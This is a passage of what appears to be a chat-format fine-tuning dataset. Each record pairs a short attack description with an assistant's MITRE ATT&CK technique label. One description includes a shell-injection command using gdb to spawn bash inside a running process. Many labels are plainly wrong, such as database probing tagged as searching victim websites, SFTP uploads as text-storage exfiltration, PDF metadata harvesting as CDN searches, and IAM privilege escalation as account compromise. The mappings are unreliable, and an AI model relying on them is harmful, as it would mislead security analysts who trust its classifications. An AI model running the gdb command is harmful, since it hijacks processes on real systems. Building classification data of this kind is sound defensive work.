            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors engage a covert marketplace to buy detailed schematics of a target's custom IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link that, when clicked, runs mshta.exe to open a malicious HTA that steals credentials."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Linux 'dd' utility to write zeros over the first megabytes of the drive, erasing the partition table and filesystem metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a custom-built remote access tool to maintain persistence on a compromised network and exfiltrate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is executed by invoking MSBuild under the guise of a trusted developer utility, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create hidden service accounts and assign them high privileges."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers program a daemon that watches for newly created PDF files and streams them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a custom C# utility to deobfuscate a PE file that was packed with a proprietary packer."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware cleans up autostart entries in the Windows Registry, deleting keys like HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to eliminate persistence artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exfiltrates data by writing it to a hidden SMB share on a compromised internal server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the RSA public key with one that uses a 512-bit modulus, weakening encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Remote Desktop Protocol (RDP) Clipboard redirection feature to transfer malicious files between systems."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious document contains a PowerShell command that decodes a URL‑safe Base64 string to reveal a download link."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized installer for a popular password manager silently adds code to exfiltrate all saved logins to an attacker‑controlled server."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers compromised a Puppet master server and scripted the distribution of a keylogger binary to all managed endpoints."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers programmatically create dozens of low-privilege domain accounts to use for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised service is used to execute a command that outputs the contents of /etc/shadow for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Control Panel (control.exe) to spawn a child process that runs a credential dumping module."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential security weaknesses in a database through queries and data extraction techniques."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker stages data by uploading chunks to a cloud storage bucket from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects false traffic light status messages into the network, causing accidents at intersections."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with in-memory encryption keys, forcing the application to encrypt data with a weak key."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised external hard drive to collect and transfer sensitive documents from the victim network."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved sending a stripped payload via USB, where the executable contained no recognizable strings or signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware silently installs on victim machines and adds them to a command-and-control botnet for spam distribution."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor obtains credentials for a cloud provider account, creates a new virtual server, and uses it to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a compromised internal machine as a SOCKS proxy to tunnel data exfiltration traffic out of the organization."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group provisions a new server instance in a foreign data center to avoid detection while coordinating attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant queries the Windows registry for a specific key and only proceeds if the key exists, using this as an environmental guardrail."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the BIOS ROM, allowing the threat actor to execute payloads during system power‑on."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised developer toolchain to embed a malicious dynamic library into a signed application bundle, ensuring the malicious library is loaded during normal execution on macOS."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured IAM policy that granted excessive permissions to a low‑privilege user, then escalated to admin rights."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Unix shell to perform process injection by executing `gdb -p <pid> -ex \"call system('bash')\" -ex detach`."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary established a WinRM session over HTTP to run a malicious script on multiple Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker flashes a malicious firmware image onto the motherboard's BIOS to execute code before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a .lnk file whose icon binary contains a Base64‑encoded payload that is decoded and executed by the OS."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee opened a calendar invitation containing a link that, once clicked, initiated a PowerShell backdoor on the host."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltration leverages SharePoint’s API to pull audit logs and locate files containing encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script updated the registry values under HKLM\\Software\\Policies\\Microsoft\\Windows\\System\\CodeSigningPolicy to relax signature checks for newly installed applications."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email includes a .js file disguised as a report, which runs JavaScript to download additional malware onto the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker manipulates a vulnerable .htaccess file to enable execution of arbitrary scripts on the web server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a sidecar container in a Kubernetes pod to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised legitimate software update mechanism to acquire a stealthy espionage malware package."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group queries Reddit threads for insider details about upcoming product releases."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion copies sensitive spreadsheets to a hidden directory and then uploads them via SFTP."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker configures the laptop's battery settings to keep it plugged in and disables battery saver mode to maintain performance for malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages a compromised DNS provider to alter NS records, redirecting traffic to their own infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes the Mavinject tool to attach to rundll32.exe and execute malicious code without dropping files."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using steganography to hide malicious code within innocent-looking files"
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the ODBC driver settings with odbcconf, the adversary caused the system to load a malicious DLL whenever the driver is invoked, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a scheduled task within a Rancher-managed Kubernetes cluster to periodically flush logs to an external server for data theft."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool clones the appearance of a legitimate administrative tool to deceive endpoint users into executing it."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implants a rootkit into the BIOS ROM, allowing persistence across OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged an insecurely exposed MongoDB instance to inject malicious commands, enabling remote control of the database server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the attacker dropped a fake version of 'svchost.exe' signed with a self‑generated certificate, attempting to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant sends a request to an online service that returns the IP-based location of the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage team purchases a licensed keylogger from a black‑market vendor to capture sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor encodes stolen data as a series of Unicode characters using UTF-16 before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a secondary payload onto the infected system by copying it over an open RDP session."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates Group Policy settings on the domain controller to weaken the authentication process, allowing pass‑the‑hash attacks."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages a paid malware analysis service to obtain detailed behavioral profiles of a newly observed ransomware strain."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses routine NFS traffic patterns to transport data without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group collects metadata from publicly shared documents (e.g., PDFs) to identify software versions."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm’s DGA creates domains by encoding the current date in base‑36, appending a random suffix, and checking DNS for active servers."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with CloudWatch Logs by altering the log group retention policy to delete logs after a short period."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire publicly available reconnaissance tools to map target networks."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries lease a dedicated server from a hosting provider to run a backdoor accessible via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in the cryptographic library to disable key stretching, causing derived keys to be derived from low‑entropy passwords and reducing overall key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Ease of Access control panel to inject and execute malicious scripts whenever the system's accessibility options are accessed."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerable API endpoint, the adversary downloads the JSON Web Tokens (JWT) used by the application to authenticate subsequent requests."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valid local account credentials are used to log into a system after credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors place a manipulated shared object file in /usr/lib so that it is automatically used by system binaries."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new malware strain is discovered, using novel persistence mechanisms to remain on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT attempts to harvest credentials by parsing the Credential Manager's .cdfs files on the disk."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compresses stolen data and stages it on a remote FTP server before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses RDP to establish a remote desktop session and execute commands on the victim machine."
            },
            {
                "role": "assistant",
